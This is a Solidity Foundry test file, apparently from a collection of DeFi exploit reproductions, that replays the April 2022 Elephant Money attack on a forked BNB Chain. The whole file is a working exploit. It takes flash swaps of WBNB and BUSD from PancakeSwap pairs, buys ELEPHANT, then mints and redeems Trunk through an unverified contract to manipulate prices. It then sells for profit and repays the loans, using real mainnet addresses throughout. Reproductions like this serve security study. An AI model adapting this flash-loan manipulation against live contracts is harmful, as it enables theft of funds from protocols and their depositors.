src/test/2022-04/Elephant_Money_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2//Credit: W2Ning
3pragma solidity 0.8.10;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract ContractTest is Test {
9    IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
10 
11    address public BUSD_USDT_Pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;
12 
13    address public elephant_wbnb_Pair = 0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1;
14 
15    address public BUSDT_WBNB_Pair = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
16 
17    address[] path_1 = [0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c, 0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688];
18 
19    address[] path_2 = [0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688, 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c];
20 
21    address[] path_3 = [0xdd325C38b12903B727D16961e61333f4871A70E0, 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56];
22 
23    address[] path_4 = [0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c, 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56];
24 
25    IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
26 
27    IERC20 elephant = IERC20(0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688);
28 
29    IERC20 Trunk = IERC20(0xdd325C38b12903B727D16961e61333f4871A70E0);
30 
31    IRouter router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
32 
33    InotVerified not_verified = InotVerified(0xD520a3B47E42a1063617A9b6273B206a07bDf834);
34    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
35 
36    constructor() {
37        cheats.createSelectFork("bsc", 16_886_438); // fork bsc block number 16886438
38 
39        elephant.approve(address(router), type(uint256).max);
40 
41        Trunk.approve(address(router), type(uint256).max);
42 
43        Trunk.approve(address(not_verified), type(uint256).max);
44 
45        busd.approve(address(not_verified), type(uint256).max);
46 
47        wbnb.approve(address(router), type(uint256).max);
48    }
49 
50    function testExploit() public {
51        IPancakePair(BUSDT_WBNB_Pair).swap(0, 100_000 ether, address(this), "0x00");
52    }
53 
54    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
55        sender;
56        data;
57        amount0;
58        amount1;
59 
60        if (msg.sender == BUSDT_WBNB_Pair) {
61            IPancakePair(BUSD_USDT_Pair).swap(0, 90_000_000 ether, address(this), "0x00");
62        } else {
63            attack();
64        }
65    }
66 
67    function attack() public {
68        wbnb.withdraw(100_000 ether);
69 
70        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 100_000 ether}(
71            0, path_1, address(this), block.timestamp
72        );
73 
74        uint256 balance_elephant = elephant.balanceOf(address(this));
75 
76        emit log_named_uint("The elephant after swapping", balance_elephant / 1e9);
77 
78        not_verified.mint(90_000_000 ether);
79 
80        uint256 balance_Trunk = Trunk.balanceOf(address(this));
81 
82        emit log_named_uint("The Trunk after minting", balance_Trunk / 1e18);
83 
84        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
85            balance_elephant, 0, path_2, address(this), block.timestamp
86        );
87 
88        emit log_named_uint("The WBNB Balance after swaping", wbnb.balanceOf(address(this)) / 1e18);
89 
90        balance_Trunk = Trunk.balanceOf(address(this));
91 
92        not_verified.redeem(balance_Trunk);
93 
94        emit log_named_uint("The BUSD after redeeming", busd.balanceOf(address(this)) / 1e18);
95 
96        uint256 b3 = elephant.balanceOf(address(this));
97 
98        emit log_named_uint("The elephant after redeeming", b3 / 1e9);
99 
100        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(b3, 0, path_2, address(this), block.timestamp);
101 
102        emit log_named_uint("The WBNB Balance before paying back", wbnb.balanceOf(address(this)) / 1e18);
103 
104        wbnb.transfer(BUSDT_WBNB_Pair, 100_300 ether);
105 
106        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
107            wbnb.balanceOf(address(this)), 0, path_4, address(this), block.timestamp
108        );
109 
110        emit log_named_uint("The BUSD before paying back", busd.balanceOf(address(this)) / 1e18);
111 
112        busd.transfer(BUSD_USDT_Pair, 90_300_000 ether);
113 
114        emit log_named_uint("The BUSD after paying back", busd.balanceOf(address(this)) / 1e18);
115    }
116 
117    receive() external payable {}
118}